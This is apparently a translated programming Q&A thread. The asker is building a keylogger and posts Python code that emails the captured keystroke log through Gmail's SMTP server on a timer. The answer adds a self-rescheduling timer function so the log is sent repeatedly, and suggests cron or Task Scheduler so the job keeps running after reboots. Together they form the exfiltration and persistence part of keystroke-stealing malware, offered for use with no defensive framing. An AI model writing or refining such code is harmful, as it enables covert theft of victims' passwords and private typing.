我正在制作一个键盘记录器,每隔x小时发送一封带有日志的电子邮件。我尝试使用threading.Timer()命令;但是,它一次发送电子邮件。下面是我的代码:更新:作为替代,我也尝试每天在特定时间发送一次电子邮件,但我不知道确切的命令需要。
keys_information = "key_log.txt"
email_address = email sender
password = password
username = getpass.getuser()
toaddr = receiver email
file_path = "text file location"
extend = "\\"
file_merge = file_path + extend
# email controls
def send_email(filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Log File"
body = "Body_of_the_mail"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587) #to access the server
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
t = threading.Timer(10, send_email, [keys_information, file_path + extend + keys_information, toaddr])
t.start()
我实际上建议尝试使用旨在用于此类计划作业的系统工具来定期触发此操作,例如Linux上的cron或Windows上的任务计划程序。他们将确保作业按时运行。如果程序由于某种原因停止运行(例如系统重新启动),则在内部这样的程序中执行该操作可能会失败,而cron作业将始终运行该程序。
但是,请回答您的问题。您可以通过在send_email函数末尾创建一个新计时器来重复进行此操作,或者更好地创建计时器调用的另一种方法,而不是调用send_email然后创建新计时器。
# email controls
def send_email(filename, attachment, toaddr):
...
def trigger(*args):
send_email(*args)
t = threading.Timer(10, trigger, args)
t.start()
t = threading.Timer(10, trigger, [keys_information, file_path + extend + keys_information, toaddr])
t.start()
这不会产生越来越多的线程,因为运行t.start()的线程会在计时器触发之前退出,
注意:您将计时器设置为关闭的时间不是您提到的“ x小时”,而是10秒。我认为那是为了测试。
同样,这可能不是正确的选择。